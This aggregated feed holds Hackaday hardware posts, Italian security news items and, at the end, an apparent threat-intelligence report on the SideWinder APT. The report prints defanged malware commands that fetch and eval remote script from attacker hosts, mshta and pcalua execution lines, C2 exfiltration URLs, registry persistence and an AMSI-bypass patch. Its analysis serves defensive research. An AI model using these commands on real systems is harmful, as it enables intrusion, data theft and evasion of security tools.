I recently got one of the new RP2040-based Bus Pirate 5 (BP5), a multi-purpose interface debugging and testing tool. Scanning the various such tools in my toolbox already: an Analog Discovery 2, a new Glasgow Interface Explorer, and a couple of pyboards, I realized they all had a Python or Micropython user interface. A few people on the BP5 forums had tossed around the idea of MicroPython, and it just so happened that I was experimenting with building beta versions of MicroPython for a RP2350 board at the time. Naturally, I started wondering, “just how hard can it be to get MicroPython running on the BP5?”

The Lazy Approach

Rather than duplicating the BP5 firmware functionality, I decided to ignore it completely and go with existing MicroPython capabilities. I planned to just make a simple set of board definition files — perhaps Board Support Package (BSP) is a better term? I’ve done this a dozen times before for development and custom boards. Then write a collection of MicroPython modules to conform to the unique aspects in the BP5 hardware. As user [torwag] over on the BusPirate forums said back in March:

Micropython comes already with some modules and enough functions to get some stuff out-of-the-box working. E.g. the infamous version of “hello world” for microcontrollers aka led-blinking.

The Tailoring

The main interfaces to the BP5’s RP2040 MCU were apparently done with the Pico reference design in mind. That is why you can just load and run the latest RP2 MicroPython build without defining a custom board ( note that this only worked with the current v1.24, and failed when I tried to load v1.23 using Thonny, something I did not investigate further ). But there are some things that can be done to tweak the build, so I did go ahead and make set of custom board definition files for the BP5.

First I tried to tell MicroPython about the larger QSPI flash. This is a standard thing in configuring MicroPython, but I found an issue with the RP2. The Pico C SDK has a 2 GiB hard-coded flash limit in a linker script. One can fix this by hand editing and rebuilding the SDK, something I decided to leave for later. So I did all my testing using just 2 GiB of the flash.

Several of the constomizations that I would normally make, like the serial interface pins assignments, were not necessary. The customization I did make was for help files. Since the intended application of this project is a manual debugging, I wanted the modules and funtions to have help text. By default, MicroPython builds on the RP2 do not enable __doc__ strings, but they can be reenabled with a compiler directive. Unfortunately, while the __doc__ strings are now retained, the build-in help() function doesn’t print them like CPython. The workaround is to add a help() funtion to each class. So instead of help(adc) you’t type add.help().

Finally, I wanted to add a board top-level help screen, appending to the existing RP2 port help screen. That turned out to be much harder to do, and in the end, I just gave up doing that in the BP5 board definition folder. Instead, I kludged a couple of files in the RP2 port directory — ugly, but this is just an experiment after all.

The Interfaces

These are the basic interfaces of the BP5 hardware, and all of them are arleady or easily supported in MicroPython.

• Eight Buffered IO pins
• Programmable Power Supply
• NAND flash 1Gbit
• IPS LCD screen, 320 x 240 pixels
• 18 RGB LEDs
• Push button

Going for some instant gratification, I decided to drive the chain of LEDs around the perimeter of the unit first. The RP2 port of MicroPython already has a Neopixel class. Once I sorted out the chained shift register I/O expansion circuitry, I was running MicroPython and blinking LEDs in no time. The eight main buffered I/O signals posed a bit more challenge, because there are bidirectional logic level translators on each pin. After writing a BP5 I/O pin wrapper class around the regular MP Pin class to handle that aspect of the hardware, I realized that wasn’t quite enough.

But the digital I/O signals on the BP5 aren’t useful until you also control the adjustable voltage reference rail. That led to the Power supply class next, which in turn led to the Analog to Digital class to handle ADC operations. To do this, you need to control the analog MUX. And you need to drive the 74HC595 output expander shift register to select the desired analog MUX channel. No more instant gratification.

The shift register was pretty easy, as I have done this before. The only thing I noted was that there is no feedback, so you can’t read the current state. This requires instead that you keep a shadow register of the current output expander state.

[Ian], the father of the BP5 and indeed all Bus Pirates to date, did a great job in the documentation of explaining all these hardware sections of the design. The resulting power supply circuit is quite flexible. In brief, voltage and current control are done using PWM outputs, and actual voltage and current are sensed using the RP2040’s internal ADCs via the MUX. In addition, a programmable current limit threshold triggers a power supply shutdown, which can be overridden or reset as desired.

The Display

The BP5 uses a two inch IPS TFT LCD having 240×320 pixel resolution. It is controlled using a Sitronix ST7789 over SPI. Having driven similar setups before from MicroPython, this was pretty easy. At first. I used the ST7789 library by Russ Hughes. The display was up and displaying text and running a few demo examples in short order.

The NAND Flash

Turning attention to the Micron MT29F1G01A 1 Gib ( 128 MiB ) NAND flash next, I ran into some difficulty. [Peter Hinch]’s memory chip driver library seemed like a good start. But this chip isn’t on the list of already tested chips. I changed the scan function to recognized the Micron ID manufacturer’s byte codes, but after configuring the correct chip size, sector size, and block size parameters, it still didn’t work. After finally asking for help, [Mr Hinch] explained that my problem was the large 138 KiB block size of this chip. His library buffers one entire block, and 138 KiB is just too big for most microprocessors.

He pointed me to a non-buffered SPI block device driver by [Robert Hammelrath]. I tried this briefly, but gave up after a few hours because I was spending too much time on this chip. This is a solvable problem, but not strictly needed for this goals of this experimental project.

The Images

Speaking of wasting time, I spent way too much time on this part of the project. Not because it was necessary, but just because it was just cool. My idea was a pong-like demo where an icon moves around the screen, rebounding off the screen edges. These LCD screen driver chips use a packed pixel format, RGB565. I found a tool on GitHub called rgb565-converter which converts PNG images to and from RGB565 format in C++ format. I forked and heavily modified this to generate Python code as well, in addition to 4-bit grayscale format as well. The animated GIF shows this in action.

The Wrapup

I emjoyed making this project, and learned a few more things about MicroPython along the way. I knew that the STM32 and the ESP8266 / ESP32 families had been long supported by MicroPython almost since the beginning, and that the Pico RP2040 was a relative newcomer to the ecosystem. But I was surprised when I stumbled on this talk by founder [Damien George] about the history of the project at the 2023 PyCon Australia conference. He shows some statistics collected over 8 years of downloads broken down by microprocessor family. The RP2040 has been extremely popular since its introduction, quickly surpassing all other families.

MicroPython Monthly Downloads by MCU Family, provided by [Damien George]This project presented a few frustrating issues, none of which would be showstoppers if this approach were to be developed further. I continue to be impressed by the number of people in the MicroPython community who have developed a wide variety of support libraries and continue to work on the project to this day.

Which begs the question, does the idea of MicroPython on the BusPirate even make sense? The existing C-based BusPirate firmware is now well established and works well for its intended purpose — quick explorations of an interface from the command line. Would a alternate MicroPython build benefit the community or just waste people’s limited development hours?

There could be some way to create an MicroPython implementation without duplicating a lot of code. The existing BP5 firmware could be treated as a library, and compiled with various C to MicroPython shim functions to create an extensively customized build. That is beyond my MicroPython experience for now, but it might be worth consideration.

Another way would be just build a set of “big Python” classes to represent the BP5 on the desktop. This module would talk to the BP5 using the existing serial / USB port protocol, potentially requiring no firmware modifications at all. This seems like a good idea in general, since it allows users to easily script operations from the desktop using Python, and still retain the original capabilities of the BP5 in standalone operation.

The code for this project and associated documentation can be found here on GitHub. You can build your own binary if you want, but one is provided in the repo. And as [torwag] said back in March, you can just run the factory RP2040 MicroPython as well. In my testing, the only thing you’ll miss are the help messages.

If you want to learn more about MicroPython, visit their website and GitHub repository. Prebuilt binaries are available for many standard development boards, and instructions on building it for a custom boards are quite clear and easy to follow. I’ve heard rumors that docker containers may be available soon, to make the building process even easier. Visit the Bus Pirate website and corresponding GitHub repository to learn more about the latest Bus Pirate 5 project. We have covered both projects over the years on Hackaday. Most recently [Tom Nardi] did an extensive hands-on writeup on the release of the Bus Pirate 5 back in February. Also [Arya Voronova] has written several articles on MicroPython, including this one on the eleventh anniversary of the MicroPython project. Do you use MicroPython in your projects, and what’s your take on the idea of using it with the Bus Pirate 5 board?

hackaday.com/2024/10/15/experi…

Example of a graph representation of one identified network with connections coded by neurotransmitter types. (Credit: Amy Sterling, Murthy and Seung Labs, Princeton University)
Compared to the human brain, a fruit fly (Drosophila melanogaster) brain is positively miniscule, not only in sheer volume, but also with a mere 140,000 or so neurons and 50 million synapses. Despite this relative simplicity, figuring out how the brain of such a tiny fly works is still an ongoing process. Recently a big leap forward was made thanks to crowdsourced research, resulting in the FlyWire connectome map. Starting with high-resolution electron microscope data, the connections between the individual neurons (the connectome) was painstakingly pieced together, also using computer algorithms, but with validation by a large group of human volunteers using a game-like platform called EyeWire to perform said validation.

This work also includes identifying cell types, with over 8,000 different cell types identified. Within the full connectome subcircuits were identified, as part of an effort to create an ‘effectome’, i.e. a functional model of the physical circuits. With the finished adult female fruit fly connectome in hand, groups of researchers can now use it to make predictions and put these circuits alongside experimental contexts to connect activity in specific parts of the connectome to specific behavior of these flies.

Perhaps most interesting is how creating a game-like environment made the tedious work of reverse-engineering the brain wiring into something that the average person could help with, drastically cutting back the time required to create this connectome. Perhaps that crowdsourced research can also help with the ongoing process to map the human brain, even if that ups the scale of the dataset by many factors. Until we learn more, at this point even comprehending a fruit fly’s brain may conceivably give us many hints which could speed up understanding the human brain.

Featured image: “Drosophila Melanogaster Proboscis” by [Sanjay Acharya]

hackaday.com/2024/10/15/mappin…

In vista delle elezioni presidenziali americane, la campagna di Donald Trump ha rafforzato le sue misure di sicurezza informatica, dotando il suo team delle più recenti tecnologie di protezione dagli hacker. Il principale fornitore di attrezzature era Green Hills Software, noto per i suoi prodotti militari. Dopo un recente incidente in cui hacker iraniani hanno rubato email e dati dal suo quartier generale, Trump ha deciso di fare tutto il possibile per evitare che ciò accada di nuovo.

Green Hills ha fornito alla squadra di Trump telefoni e computer “inattaccabili” basati sul sistema operativo Integrity-178B, utilizzato su aerei militari come il bombardiere stealth B-2 e gli aerei da combattimento F-22 e F-35. Questo sistema operativo è uno dei pochi certificati Evaluation Assurance Level 6, il che lo rende praticamente invulnerabile agli attacchi informatici. L’azienda afferma di aver minimizzato tutte le possibili vulnerabilità riducendo il codice di sistema a 10mila righe.

Dan O’Dowd, CEO di Green Hills Software, ha affermato che i dipendenti dell’azienda conducono costantemente test approfonditi del sistema operativo e spesso non riescono a identificare un singolo bug o punto debole. L’azienda ha già offerto i propri servizi alla squadra di Kamala Harris, un’altra contendente alla presidenza degli Stati Uniti.

Le apparecchiature Green Hills promettono anche protezione contro i moderni programmi cyberspyware, come il famoso Pegasus del gruppo NSO. Tuttavia, tali affermazioni suscitano interesse non solo tra i clienti, ma anche tra gli hacker, per i quali ciò diventa una sorta di sfida. Nonostante le grandi promesse, gli esperti sono scettici sul fatto che qualsiasi programma possa essere completamente protetto dagli attacchi.

In previsione delle elezioni, Green Hills prevede di offrire la propria tecnologia per proteggere i sistemi elettorali. O’Dowd sottolinea l’importanza di una forte sicurezza elettorale, paragonandola alla sicurezza dei sistemi nucleari, e ritiene che la sicurezza elettorale dovrebbe essere allo stesso livello.

Tuttavia, nonostante tutti gli sforzi, la sicurezza dei sistemi elettorali rimane ancora in discussione e presto diventerà chiaro se l’hardware e il software di Green Hills saranno all’altezza delle aspettative riposte su di esso.

L'articolo Telefoni e Computer Inattaccabili per Donald Trump! Gli hacker accettano la sfida! proviene da il blog della sicurezza informatica.

Bologna, Italia – 15 ottobre 2024 – Grazie al cloud object storage DS3 di Cubbit, il primo enabler di cloud storage geo-distribuito, Eurosystem SpA, System Integrator italiano con oltre 40 anni di esperienza nel settore IT, ha registrato un aumento del 580% dei ricavi dai servizi storage. Eurosystem SpA punta a gestire un petabyte di dati dei propri clienti attraverso il cloud di Cubbit entro la fine del 2025 e, grazie alla collaborazione con la scale-up bolognese, oggi è in grado di generare nuovi flussi di ricavi, conquistare mercati verticali strategici e fidelizzare i propri clienti offrendo un S3 cloud storage con un livello di sovranità e resilienza dei dati senza pari e che permette, inoltre, l’ottimizzazione dei costi e la scelta della localizzazione geografica dei dati archiviati.

Forte di oltre 40 anni di esperienza nelle soluzioni tecnologiche e nella sicurezza informatica, Eurosystem SpA supporta più di 800 clienti B2B in Italia, in particolare nell’area settentrionale, con implementazioni personalizzate, formazione e supporto continuo. L’azienda si rivolge a mercati e settori verticali che richiedono sicurezza avanzata e archiviazione dei dati a costi contenuti, tra cui l’industria manifatturiera, lo sport, le telecomunicazioni e i media.

Le minacce informatiche, come gli attacchi ransomware, oggi sono sempre più sofisticate e mirano alle vulnerabilità, sia lato client sia lato server, con una precisione senza precedenti. Eurosystem SpA era alla ricerca di una soluzione di storage definitiva per proteggere i dati dei propri clienti e che fosse compatibile con Veeam, requisito fondamentale poiché la maggior parte dei clienti di Eurosystem si affida a questo client di backup.

Nel corso degli anni, l’azienda ha preso in considerazione diverse soluzioni di archiviazione S3 in cloud e on-premise (in locale). Le prime erano di facile implementazione e gestione, ma non offrivano un livello di garanzia adeguato in termini di sicurezza, conformità alle normative sulla localizzazione dei dati e prevedibilità dei costi di banda (egress costs), di cancellazione e di replica dei bucket. Mentre le proposte di storage on-premise, invece, offrivano sovranità e conformità normativa, ma si rivelavano molto costose in termini di hardware, licenze, affitto o acquisto di locali fisici e personale IT dedicato all’implementazione, all’installazione e alla manutenzione della soluzione. Inoltre, optando per lo storage on-premise, la scalabilità della capacità di archiviazione doveva essere eseguita manualmente, gravando ulteriormente su costi e tempo. Pertanto, l’investimento per impostare manualmente la ridondanza su più sedi geografiche risultava maggiore con le altre soluzioni.

Con l’adozione della tecnologia di Cubbit, invece, Eurosystem SpA ha potuto beneficiare dei vantaggi dei servizi cloud tradizionali e delle soluzioni on-premise, mitigando al contempo le problematiche legate a queste due formule di archiviazione considerate separatamente. Cubbit DS3 presenta un costo fisso e unitario del servizio di storage che include tutte le principali API S3, insieme alla capacità di geo-distribuzione, fornendo una soluzione di cloud storage con una resilienza del dato (data durability) fino a 15 9. Grazie alla tecnologia geo-distribuita di Cubbit, Eurosystem SpA può proteggere i dati da minacce informatiche sia lato client (object lock, versioning, policy IAM), sia lato server (geo-distribuzione, crittografia).

Sfruttando la conformità al GDPR e le funzionalità di delimitazione geografica del dato di Cubbit, Eurosystem SpA è ora in grado di rispettare le normative regionali e le leggi più severe che impattano sui settori in cui operano i suoi clienti, consentendo al System Integrator di creare nuovi flussi di entrate — vantaggi che di solito sono associati alle soluzioni on-premise. Con l’implementazione della soluzione di Cubbit, la scalabilità della capacità di storage e la manutenzione vengono gestite automaticamente in pochi minuti, senza bisogno di investimenti iniziali o di personale IT dedicato.

Nicola Bosello, membro del Consiglio di Amministrazione e Sales Director di Eurosystem, dichiara: “Abbiamo cercato a lungo una soluzione di S3 storage definitiva e off-site che non comportasse la necessità di investire in un’infrastruttura costosa e complessa e che fosse conforme a requisiti chiave come il GDPR. Da un anno offriamo Cubbit ai nostri clienti, ricevendo un feedback positivo per le capacità di Cubbit di localizzazione del dato e di rimanere conforme alle normative, oltre che per la sua flessibilità, la velocità di implementazione, la facilità di scalabilità dello spazio di archiviazione in poche ore e il prezzo accessibile senza costi nascosti. Con Cubbit abbiamo già conquistato nuovi clienti e aumentato la fidelizzazione, incrementando significativamente il grado di cyber-resilienza del nostro portafoglio”.

Alessandro Cillario, Co-CEO e Co-fondatore di Cubbit, conclude: “Le aziende di tutto il mondo sono alle prese con l’ardua sfida di gestire la crescita esplosiva dei dati non strutturati. Hanno bisogno di una soluzione che si adatti alle loro policy interne e strategie IT, mantenendo il pieno controllo sui dati. Le organizzazioni europee, in particolare, devono affrontare una serie di sfide: dalle minacce informatiche ai problemi di sovranità dei dati, fino ai costi imprevedibili. Eurosystem, con Cubbit come vero e proprio player abilitatore, può ora offrire ai propri clienti un livello di resilienza informatica, sovranità ed efficienza dei costi mai raggiunto prima. Siamo entusiasti di avere Eurosystem come solido partner per promuovere le nostre soluzioni”.

L'articolo Cloud storage sicuro e geo-distribuito: Eurosystem sceglie Cubbit per un futuro resiliente proviene da il blog della sicurezza informatica.

More than a couple folks have written us saying that their entries into the Supercon Add-On Contest got caught up in the Chinese fall holidays. Add to that our tendency to wait until the last minute, and there still more projects out there that we’d like to see. So we’re extending the deadline one more week, until October 22nd.
AND!XOR Doom SAO from years past.
If you’re just tuning in now, well, you’ve got some catching up to do. Supercon Add-Ons are another step forward in the tradition of renaming the original SAO. One of our favorite resources on the subject comes from prolific SAO designer [Twinkle Twinkie], and you can even download PCB footprints over there on Hackaday.io.

Don’t know why you want to make an SAO? Even if you’re not coming to Supercon this year? Well, our own [Tom Nardi] describes it as a low barrier to entry, full-stack hardware design and production tutorial. Plus, you’ll have something to trade with like-minded hardware nerds at the next con you attend.

We’ve already seen some killer artistic entries, but we want to see yours! We know the time’s tight, but you can still get in a last minute board run if you get started today. And those of you who are sitting at home waiting for boards to arrive, wipe that sweat from your brow. We’ll catch up with you next Tuesday!

hackaday.com/2024/10/15/breaki…

Si è saputo che la vulnerabilità CVE-2024-9680 risolta la scorsa settimana in Firefox potrebbe essere utilizzata contro gli utenti del browser Tor.

Ricordiamo che il problema è stato scoperto dallo specialista ESET Damien Schaeffer ed era un problema use-after-free nelle timeline di animazione. Le sequenze temporali delle animazioni fanno parte dell’API Web Animations di Firefox e questo meccanismo è responsabile della gestione e della sincronizzazione delle animazioni tra le pagine Web.

Gli sviluppatori hanno rilasciato patch di emergenza e hanno avvertito che, grazie a questa vulnerabilità, un utente malintenzionato potrebbe eseguire codice arbitrario mentre lavora con i contenuti. All’epoca non erano state fornite informazioni dettagliate né sul bug stesso né sugli attacchi in cui è stato utilizzato.

Il problema è stato risolto nelle seguenti versioni del browser: Firefox 131.0.2, Firefox ESR 115.16.1 e Firefox ESR 128.3.1. Come ha affermato Mozilla, gli specialisti di ESET hanno fornito loro un exploit per il CVE-2024-9680, che è stato utilizzato dagli hacker in attacchi reali.

“L’esempio inviatoci da ESET conteneva una catena di exploit completa che consentiva l’esecuzione di codice remoto sul computer dell’utente”, scrivono gli sviluppatori. Mozilla ha riunito un team per decodificare l’exploit e capire come funziona, dopodiché ha preparato una patch di emergenza in un giorno. I rappresentanti dell’organizzazione sottolineano che continueranno ad analizzare l’exploit per sviluppare ulteriori misure di protezione per Firefox.

Quasi contemporaneamente, gli sviluppatori Tor hanno riferito che, secondo Mozilla, questa vulnerabilità è stata utilizzata attivamente negli attacchi contro gli utenti del browser Tor. “Sfruttando questa vulnerabilità, un utente malintenzionato potrebbe prendere il controllo del Tor Browser, ma molto probabilmente non sarebbe in grado di de-anonimizzare l’utente in Tails”, si legge nella dichiarazione.

Tuttavia, il post sul blog del progetto è stato successivamente modificato e il progetto Tor ha chiarito di non avere prove che gli utenti del browser Tor siano stati intenzionalmente presi di mira con CVE-2024-9680. Tuttavia, il bug ha colpito il Tor Browser, che è basato su Firefox, e gli sviluppatori sottolineano che il problema è stato risolto nelle versioni Tor Browser 13.5.7, 13.5.8 (per Android) e 14.0a9.

L'articolo Utenti TOR a Rischio! Il nuovo Exploit di Mozilla Firefox può mettere a rischio l’Anonimato proviene da il blog della sicurezza informatica.

Embedded programming is a tricky task that looks straightforward to the uninitiated, but those with a few decades of experience know differently. Getting what you want to work predictably or even fit into the target can be challenging. When you get to a certain level of complexity, breaking code down into multiple tasks can become necessary, and then most of us will reach for a real-time operating system (RTOS), and the real fun begins. [Aleksei Tertychnyi] clearly understands such issues but instead came up with an alternative they call ANTIRTOS.

The idea behind the project is not to use an RTOS at all but to manage tasks deterministically by utilizing multiple queues of function pointers. The work results in an ultra-lightweight task management library targeting embedded platforms, whether Arduino-based or otherwise. It’s pure C++, so it generally doesn’t matter. The emphasis is on rapid interrupt response, which is, we know, critical to a good embedded design. Implemented as a single header file that is less than 350 lines long, it is not hard to understand (provided you know C++ templates!) and easy to extend to add needed features as they arise. A small code base also makes debugging easier. A vital point of the project is the management of delay routines. Instead of a plain delay(), you write a custom version that executes your short execution task queue, so no time is wasted. Of course, you have to plan how the tasks are grouped and scheduled and all the data flow issues, but that’s all the stuff you’d be doing anyway.

The GitHub project page has some clear examples and is the place to grab that header file to try it yourself. When you really need an RTOS, you have a lot of choices, mostly costing money, but here’s our guide to two popular open source projects: FreeRTOS and ChibiOS. Sometimes, an RTOS isn’t enough, so we design our own full OS from scratch — sort of.

hackaday.com/2024/10/15/antirt…

SideWinder, aka T-APT-04 or RattleSnake, is one of the most prolific APT groups that began its activities in 2012 and was first publicly mentioned by us in 2018. Over the years, the group has launched attacks against high-profile entities in South and Southeast Asia. Its primary targets have been military and government entities in Pakistan, Sri Lanka, China and Nepal.

Over the years, SideWinder has carried out an impressive number of attacks and its activities have been extensively described in various analyses and reports published by different researchers and vendors (for example, here, here and here), the latest of which was released at the end of July 2024. The group may be perceived as a low-skilled actor due to the use of public exploits, malicious LNK files and scripts as infection vectors, and the use of public RATs, but their true capabilities only become apparent when you carefully examine the details of their operations.

Despite years of observation and study, knowledge of their post-compromise activities remains limited.

During our investigation, we observed new waves of attacks that showed a significant expansion of the group’s activities. The attacks began to impact high-profile entities and strategic infrastructures in the Middle East and Africa, and we also discovered a previously unknown post-exploitation toolkit called “StealerBot”, an advanced modular implant designed specifically for espionage activities that we currently believe is the main post-exploitation tool used by SideWinder on targets of interest.

SideWinder’s most recent campaign schema

Infection vectors

The SideWinder attack chain typically starts with a spear-phishing email with an attachment, usually a Microsoft OOXML document (DOCX or XLSX) or a ZIP archive, which in turn contains a malicious LNK file. The document or LNK file starts a multi-stage infection chain with various JavaScript and .NET downloaders, which ends with the installation of the StealerBot espionage tool.

The documents often contain information obtained from public websites, which is used to lure the victim into opening the file and believing it to be legitimate. For example, the file in the image contains data downloaded from the following URL: nasc.org.np/news/closing-cerem…

Snippet of the file 71F11A359243F382779E209687496EE2, “Nepal Oil Corporation (NOC).docx”

The contents of the file are selected specifically for the target and changed depending on the target’s country.

All the documents use the remote template injection technique to download an RTF file that is stored on a remote server controlled by the attacker.

RTF exploit

RTF files were specifically crafted by the attacker to exploit CVE-2017-11882, a memory corruption vulnerability in Microsoft Office software.

The attacker embedded shellcode designed to execute JavaScript code using the “RunHTMLApplication” function available in the “mshtml.dll” Windows library.

The shellcode uses different tricks to avoid sandboxes and complicate analysis.

• It uses GlobalMemoryStatusEx to determine the size of RAM memory. If the size is less than 2GB, it terminates execution.
• It uses the CPUID instruction to obtain information about the processor manufacturer. If the CPU is not from Intel or AMD, it terminates execution.
• It attempts to load the “dotnetlogger32.dll” library. If the file is present on the system, it terminates execution.

The malware uses different strings to load libraries and functions required for execution. These strings are truncated and the missing part is added at runtime by patching the bytes. The strings are also mixed inside the code, which is adapted to skip them and jump to valid instructions during execution, to make analysis more difficult.

The strings are passed as arguments to a function that performs the same action as “GetProcAddress”: it gets the address of an exported function. To do this, it receives two arguments: a base address of a library that exports the function, and the name of the exported function.

The first argument is passed with the standard push instruction, which loads the library address to the stack. The second argument is passed indirectly using a CALL instruction.

Passing necessary arguments

The loaded functions are then used to perform the following actions:

1. Load the “mshtml.dll” library and get the pointer to the “RunHTMLApplication” function.
2. Get a pointer to the current command line using the “GetCommandLineW” function.
3. Decrypt a script written in JavaScript that is embedded in the shellcode and encoded with XOR using “0x12” as the key.
4. Overwrite the current process command line with the decoded JavaScript.
5. Call the “RunHTMLApplication” function, which will execute the code specified in the process command line.

The loaded JavaScript downloads and executes additional script code from a remote website.
javascript:eval("v=ActiveXObject;x=new v(\"WinHttp.WinHttpRequest.5.1\");x.open(\"GET\",
\"hxxps://mofa-gov-
sa.direct888[.]net/015094_consulategz\",false);x.Send();eval(x.ResponseText);window.close()")

Initial infection LNK

During the investigation we also observed another infection vector delivered via a spear-phishing email with a ZIP file attached. The ZIP archive is distributed with names intended to trick the victim into opening the file. The attacker frequently uses names that refer to important events such as the Hajj, the annual Islamic pilgrimage to Mecca.

The archive usually contains an LNK file with the same name as the archive. For example:

The LNK file points to the “mshta.exe” utility, which is used to execute JavaScript code hosted on a malicious website controlled by the attacker.

Below are the configuration values extracted from one of these LNK files:
Local Base Path : C:\Windows\System32\sshtw.png
Description : MOAVINEEN-E-HUJJAJ HAJJ-2024.docx
Relative Path : ..\..\..\Windows\System32\calca.exe
Link Target: C:\Windows\System32\mshta.exe
Working Directory : C:\Windows\System32
Command Line Arguments : "hxxps://mora.healththebest[.]com/8eee4f/mora/hta?q=0"
Icon File Name : %systemroot%\System32\moricons.dll
Machine ID : desktop-84bs21b

Downloader module

The RTF exploits and LNK files execute the same JavaScript malware. This script decodes an embedded payload that is stored as a base64-encoded string. The payload is a .NET library named “App.dll”, which is then invoked by the script.

JavaScript loader (beautified)

App.dll is a simple downloader or dropper configured to retrieve another .NET payload from a remote URL passed as an argument by the JavaScript, or to decode and execute another payload passed as an argument.

The library should be executed by invoking the “Programs.Work()” method, which can receive three arguments as input. We named the inputs as follows:

App.dll starts by collecting information about installed endpoint security products. In particular, Avast and AVG solutions are of interest to the malware. The collected data are sent to the C2. Then, if the “Payload_data” argument is not “Null”, it decodes and decompresses the data using base64 and Gzip. The resulting payload is stored in the user’s Temp directory using the filename specified in the “Payload_filename” argument.

If Avast or AVG solutions are installed, the content of the dropped file is executed with the following command:
mshta.exe "javascript:WshShell = new
ActiveXObject("WScript.Shell");WshShell.Run("%TEMP%\%Payload_filename%", 1,
false);window.close()
Otherwise, it will be executed with the following command:
pcalua.exe -a %TEMP%\%Payload_filename%
If the attacker provides a C2_URL, the malware attempts to download another payload from the specified remote URL. The obtained data is decoded with an XOR algorithm using the first 32 bytes of the received payload as the key.

The resulting file should be .NET malware named “ModuleInstaller.dll”.

ModuleInstaller

The ModuleInstaller malware is a downloader used to deploy the Trojan used to maintain a foothold on compromised machines, a malicious component we dubbed “Backdoor loader module”. We have been observing this specific component since 2020, but previously we only described it in our private intelligence reports.

ModuleInstaller was designed to drop at least four files: a legitimate and signed application used to sideload a malicious library, a .config manifest embedded in the program as a resource and required by the next stage to properly load additional modules, a malicious library, and an encrypted payload. We observed various combinations of the dropped files, the most common being:
%Malware Directory%\vssvc.exe
%Malware Directory%\%encryptedfile%
%Malware Directory%\vsstrace.dll
%Malware Directory%\vssvc.exe.config
or
%Malware Directory%\WorkFolders.exe
%Malware Directory%\%encryptedfile%
%Malware Directory%\propsys.dll
%Malware Directory%\WorkFolders.exe.config
ModuleInstaller embeds the following resources:

The downloader is configured to receive a URL as input and parse it to extract a specific value from a variable. The retrieved value is then compared with a list of string values that appear to be substrings of well-known endpoint security solutions:

ModuleInstaller supports six infection routines, which differ in the techniques used to execute “Backdoor loader module” or download the components, but share similarities in the main logic. Some of these routines also include tricks to remove evidence, while others don’t. The malware only runs one specific routine chosen according to the value received as an argument and the value of an internal configuration embedded in the code.

All the routines collect information about the compromised system. Specifically, they collect:

• Current username;
• Processor names and number of cores;
• Physical disk name and size;
• The values of the TotalVirtualMemorySize and TotalVisibleMemorySize properties;
• Current hostname;
• Local IP address;
• Installed OS;
• Architecture.

The collected data are then encoded in base64 and concatenated with a C2 URL embedded in the code, inside a variable named “data”.
hxxps://dynamic.nactagovpk[.]org/735e3a_download?data=<stoleninfo>
The malware has several C2 URLs embedded in the code, all of them encoded with base64 using a custom alphabet:
C2_URL_1 = hxxps://dynamic.nactagovpk[.]org/735e3a_download
C2_URL_2 = hxxps://dynamic.nactagovpk[.]org/0df7b2_download
C2_URL_3 = hxxps://dynamic.nactagovpk[.]org/27419a_download
C2_URL_4 = hxxps://dynamic.nactagovpk[.]org/ef1c4f_download
The malware sends the collected information to one of the C2 servers selected according to the specific infection routine. The server response should be a payload with various configuration values.

The set of values may vary depending on the infection routine. The malware parses the received values and assigns them to local variables. In most cases the variable names cannot be obtained from the malware code. However, in one particular infection routine the attacker used debug strings that allowed us to obtain most of these names. The table below contains the full list of possible configuration values.

The payload is XORed twice. The keys are the first 32 bytes at the beginning of the payload.

During execution, the malware logs the current infection status by sending GET requests to the C2. The analyzed sample used C2_URL_4 for this purpose. The request includes at least one variable named “data”, whose value indicates the infection status.

The technique used to maintain persistence varies according to the infection routine selected by the malware, but generally relies on the creation of new registry values under the HKCU Run key or the creation of Windows Scheduled Tasks.

For example:
RegKey: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegValue: xcschemer (MALWARE_DIRECTORY)
RegValueData: %AppData%\xcschemer\vssvc.exe (HIJACK_EXE_PATH)

Backdoor loader module

The infection scheme described in the previous paragraph results in the installation of a malicious library that is sideloaded using the legitimate and digitally signed application. The library acts as a loader that retrieves an encrypted payload dropped by ModuleInstaller, decrypts it and loads it in memory.

The Backdoor loader module has been observed since 2020, we covered it in our private APT reports. It has remained almost the same over the years. It was recently updated by the attacker, but the main difference is that old variants are configured to load the encrypted file using a specific filename embedded in the program, and the latest variants were designed to enumerate all the files in the current directory and load those without an extension.

The library is usually highly obfuscated using the Control Flow Flattening technique. In addition, the strings, method names, and resource names are randomly modified with long strings, which makes the decoded code difficult to analyze. Moreover, some relevant strings are stored inside a resource embedded in the program and encrypted with an XOR layer and Triple DES.

The malware also contains anti-sandbox techniques. It takes the current date and time and puts the thread to sleep for 100 seconds. Sandboxes usually ignore the sleeping functions because they are often used by malware to generate long delays in execution and avoid detection. Upon awakening, the malware retrieves again the current time and date and checks if the elapsed time is less than 90.5 seconds. If the condition is true, it terminates the execution.

The malware also attempts to avoid detection by patching the AmsiScanBuffer function in “amsi.dll” (Windows Antimalware Scan Interface). Specifically, it loads the “amsi.dll” library and parses the export directory to find the “AmsiScanBuffer” function. In this function, it changes the memory protection flags to modify instructions at RVA 0x337D to always return error code 0x80070057 (E_INVALIDARG – Invalid Argument). This change forces the “Amsi” protection to always return a scan result equal to 0, which is usually interpreted as AMSI_RESULT_CLEAN.

AmsiScanBuffer before patching

AmsiScanBuffer after patching

The patched code is only one byte in size: the malware changes 0x74, which corresponds to the JZ (Jump if zero) instruction, to 0x75, which corresponds to JNZ (Jump if not zero). The jump should be made when the buffer provided as input to the AmsiScanBuffer function is invalid. With the modification, the jump will be made for all valid buffers.

After patching AmsiScanBuffer, the malware performs a startup operation to achieve its main goal, which is to load another payload from the encrypted file. First, it enumerates files in the current directory and tries to find a file without the character ‘.’ in the file name (i.e., without an extension). Then, if the file is found, it uses the first 16 bytes at the beginning of the file as the key and decodes the rest of the data using the XOR algorithm. Finally, it loads the data as a .NET assembly and invokes the “Program.ctor” method.

StealerBot

StealerBot is a name assigned by the attacker to a modular implant developed with .NET to perform espionage activities. We never observed any of the implant components on the filesystem. They are loaded into memory by the Backdoor loader module. Prior to being loaded, the binary is stored in an encrypted file.

The implant consists of different modules loaded by the main “Orchestrator”, which is responsible for communicating with the C2 and executing and managing the plugins. During the investigation, we discovered several plugins that were uploaded on compromised victims and were used to:

• Install additional malware;
• Capture screenshots;
• Log keystrokes;
• Steal passwords from browsers;
• Intercept RDP credentials;
• Steal files;
• Start reverse shell;
• Phish Windows credentials;
• Escalate privileges bypassing UAC.

Module IDs are included both in modules and in an encrypted configuration file. The Orchestrator uses them to manage the components. It shares messages/commands with the modules, and can handle specific messages to kill or remove modules with a particular ID.

